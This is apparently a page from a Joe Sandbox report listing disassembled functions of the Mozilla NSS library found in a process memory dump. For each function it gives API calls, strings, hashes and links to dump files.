Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: d2460e3eb680bc2af6a6c8cc5b47c1d64c504d94224c912b7274bce9d5493533
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: C52153E294214567FB005A61AC81FEF326CDB4179CF080234FD04D9647FB26D51992B3

Function 6CB82E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB82CDA,?,00000000), ref: 6CB82E1E

Part of subcall function 6CBDFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CB89003,?), ref: 6CBDFD91
Part of subcall function 6CBDFD80: PORT_Alloc_Util.NSS3(A4686CBE,?), ref: 6CBDFDA2
Part of subcall function 6CBDFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CBE,?,?), ref: 6CBDFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CB82E33

Part of subcall function 6CBDFD80: free.MOZGLUE(00000000,?,?), ref: 6CBDFDD1

TlsGetValue.KERNEL32 ref: 6CB82E4E
EnterCriticalSection.KERNEL32(?), ref: 6CB82E5E
PL_HashTableLookup.NSS3(?), ref: 6CB82E71
PL_HashTableRemove.NSS3(?), ref: 6CB82E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CB82E96
PR_Unlock.NSS3 ref: 6CB82EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB82EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB82EC5

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 9cef41021601aebf62fe336d508ac8ab4f46b9165f5cc8de15ba4da213e5e896
Instruction ID: 6b87d9c5e2f737aff1351f82fdb79ba916f18c451c3620eae2692f93893ed62e
Opcode Fuzzy Hash: 9cef41021601aebf62fe336d508ac8ab4f46b9165f5cc8de15ba4da213e5e896
Instruction Fuzzy Hash: B8210772A00141ABEF205B28EC0AA9A3B78DB5635EF090030ED1882751FB32D559C7B2

Function 6CB6FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB6FD18
sqlite3_initialize.NSS3 ref: 6CB6FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB6FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CB6FD99
sqlite3_free.NSS3(00000000), ref: 6CB6FE3C
sqlite3_free.NSS3(?), ref: 6CB6FEE3
sqlite3_free.NSS3(?), ref: 6CB6FEEE

Strings

simple, xrefs: 6CB6FC79

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 59a26c61dcc68b1caca1e8777f5e5ee8aaabf7d1cb27c4611a7479ade50671af
Instruction ID: 800fef5eae8951eaea5c0394cd335cab654501353f7f2094aec2ecbaa81ab693
Opcode Fuzzy Hash: 59a26c61dcc68b1caca1e8777f5e5ee8aaabf7d1cb27c4611a7479ade50671af
Instruction Fuzzy Hash: 399170B0E012458FDB04CF56C880BAEBBB2FF85318F24C569D8199BB52E731E941CB91

Function 6CB75CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB75EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB75EED

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB75ED1
invalid, xrefs: 6CB75EBE
API call with %s database connection pointer, xrefs: 6CB75EC3
misuse, xrefs: 6CB75EDB
%s at line %d of [%.10s], xrefs: 6CB75EE0
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CB75E64

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 0bfd106039c4e47c75b08e4c8f57fd676f49b6ac958cea1f4fcabff7d2fa4ba0
Instruction ID: ab01ee437e62070845e40d0930cbe51c0688134278a9d560a0f59b590d35459c
Opcode Fuzzy Hash: 0bfd106039c4e47c75b08e4c8f57fd676f49b6ac958cea1f4fcabff7d2fa4ba0
Instruction Fuzzy Hash: 2981D170B056A19BEB29CE55C948B6A7770FF41308F240268DC355BB50D730E84ACBFA

Function 6CB5DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB5DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB5DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB5DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CB5DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB5DF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB5DE52, 6CB5DE81
%s at line %d of [%.10s], xrefs: 6CB5DE61, 6CB5DE90
database corruption, xrefs: 6CB5DE5C, 6CB5DE8B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: aab74497c55e2d4a8af77e8922d7f08a76725d9f78eaaf65fca2037dd03957d2
Instruction ID: 6f782112ac6c48a2559d915d60a6ae9a72c2c2e10f353c7560c40249ecf1a954
Opcode Fuzzy Hash: aab74497c55e2d4a8af77e8922d7f08a76725d9f78eaaf65fca2037dd03957d2
Instruction Fuzzy Hash: 2681DE717043909FDB14CF35D980B6A77F1EF44308F548A2DE89A8BA91EB31E856CB42

Function 6CB0CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB0B999), ref: 6CB0CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB0B999), ref: 6CB0D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CB0B999), ref: 6CB0D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CB0B999), ref: 6CC5972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0CFDD, 6CB0D00E, 6CB0D022, 6CB0D033, 6CC59780
%s at line %d of [%.10s], xrefs: 6CB0CFEC, 6CB0D018, 6CB0D029, 6CB0D03F, 6CC5978B
database corruption, xrefs: 6CB0CFE7, 6CB0D013, 6CB0D028, 6CB0D039, 6CB0D03E, 6CC59786

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 46f6569611440bd7c115368c07a86676ff3bc3695894b4def172c0801208b3c1
Instruction ID: 03b41ffd4d6b781b2f8657d068c9f368434ffbf4269cd710251dde9055b2dbb3
Opcode Fuzzy Hash: 46f6569611440bd7c115368c07a86676ff3bc3695894b4def172c0801208b3c1
Instruction Fuzzy Hash: 43615871A002508FD710CF69C840BA6BBF5EF55358F6845AEE4489FB82E376D847C7A2

Function 6CC0FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC15B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CC10113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC10130
PORT_Alloc_Util.NSS3(00000040), ref: 6CC1015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CC101AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CC10202
free.MOZGLUE(?), ref: 6CC10224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC10253

Strings

exporter, xrefs: 6CC100F7

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 34e00177453da05228d813714c5391a02cefad484a0b9e56edae38441f64ecbc
Instruction ID: e1535bade1d62370ecf1426bd928ccbfa9418f2c54efc93b334ebe384471dc93
Opcode Fuzzy Hash: 34e00177453da05228d813714c5391a02cefad484a0b9e56edae38441f64ecbc
Instruction Fuzzy Hash: 456125719047899BEF018FA6CC00BEE77B6BF4431CF244128ED1A9AA51FB35E964D741

Function 6CC0EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CC2A4A1,?,00000000,?,00000001), ref: 6CC0EF6D

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

htonl.WSOCK32(00000000,?,6CC2A4A1,?,00000000,?,00000001), ref: 6CC0EFE4
htonl.WSOCK32(?,00000000,?,6CC2A4A1,?,00000000,?,00000001), ref: 6CC0EFF1
memcpy.VCRUNTIME140(?,?,6CC2A4A1,?,00000000,?,6CC2A4A1,?,00000000,?,00000001), ref: 6CC0F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CC2A4A1,?,00000000,?,00000001), ref: 6CC0F027

Strings

dtls13, xrefs: 6CC0EF33

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: aa2019ae81e5d0c5efc970c3cd87167ee5cd4f3f295cc65482ccb43ad6a82a78
Instruction ID: bdb45e495ed78cf51aea385d3a08e72494993f79075f893cc9c87419f5e6781b
Opcode Fuzzy Hash: aa2019ae81e5d0c5efc970c3cd87167ee5cd4f3f295cc65482ccb43ad6a82a78
Instruction Fuzzy Hash: E831E171A05211AFC710DF68DC80B8AB7E8BF49748F15802DE8589B751FB32E916CBE1

Function 6CB8AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB8AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CCA9500,6CB83F91), ref: 6CB8AFD2

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

DER_GetInteger_Util.NSS3(?), ref: 6CB8B007

Part of subcall function 6CBD6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CB81666,?,6CB8B00C,?), ref: 6CBD6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CB8B02F
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB8B046
PL_FreeArenaPool.NSS3 ref: 6CB8B058
PL_FinishArenaPool.NSS3 ref: 6CB8B060

Strings

security, xrefs: 6CB8AFB8

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: e4747af2316ef3fc4318a038703f3af1f0606633c7eea8074be5a494592e7f30
Instruction ID: df41069601484d64085840e9fe8297bfeb8b9841cb68223207fdb923dedee637
Opcode Fuzzy Hash: e4747af2316ef3fc4318a038703f3af1f0606633c7eea8074be5a494592e7f30
Instruction Fuzzy Hash: 2A3154714053809BDB208F24CC40BAA77B8EF8A36CF100619E9B49BBC1E7329109CB97

Function 6CB83E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CB840D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CB83F7F,?,00000055,?,?,6CB81666,?,?), ref: 6CB840D9
Part of subcall function 6CB840D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CB81666,?,?), ref: 6CB840FC
Part of subcall function 6CB840D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CB81666,?,?), ref: 6CB84138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB83EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB83ED6

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB83EEE

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB83F02
PL_FreeArenaPool.NSS3 ref: 6CB83F14
PL_FinishArenaPool.NSS3 ref: 6CB83F1C

Part of subcall function 6CBE64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CBE127C,00000000,00000000,00000000), ref: 6CBE650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB83F27

Strings

security, xrefs: 6CB83EBC

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 67208189080a2442da745201122564515826e6cf5e74c0558864f45d30cc7324
Instruction ID: 7e6dbc2f03e3e1e1df85e3500a5204ad989c646dd0d391113570c10f9af9dd0e
Opcode Fuzzy Hash: 67208189080a2442da745201122564515826e6cf5e74c0558864f45d30cc7324
Instruction Fuzzy Hash: BF21F5B29043446BD7148B14AC41FAF77B8EB4975CF04093DF949A7B41F731A5188796

Function 6CBCCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CBCCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CBCCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CBCD079

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 3d5241af37d42ecb7ea89561ee5910793c711431797194ba0bcef6eaffe60434
Instruction ID: ff92029f41c81ec0f83f42be3364b89dc5e1e2fc2c3e2d581fd7946816a47732
Opcode Fuzzy Hash: 3d5241af37d42ecb7ea89561ee5910793c711431797194ba0bcef6eaffe60434
Instruction Fuzzy Hash: 86C1A0B5A002599BDB10CF28DC80BDAB7B8FF48318F1441A8E94897741E775EE95CF92

Function 6CBBDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CBC97C1,?,00000000,00000000,?,?,?,00000000,?,6CBA7F4A,00000000), ref: 6CBBDC68

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDFAA

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 3a58f5f8161ce5cec0fa5dca7d75c6ce460dae938b222a31cb988d6609beae0e
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: AB81A170A065848BFF144E79F8A03797292EB64748F24843AF559EAADDDF7CD484C603

Function 6CB93C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CB93C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CB93C94

Part of subcall function 6CB895B0: TlsGetValue.KERNEL32(00000000,?,6CBA00D2,00000000), ref: 6CB895D2
Part of subcall function 6CB895B0: EnterCriticalSection.KERNEL32(?,?,?,6CBA00D2,00000000), ref: 6CB895E7
Part of subcall function 6CB895B0: PR_Unlock.NSS3(?,?,?,?,6CBA00D2,00000000), ref: 6CB89605

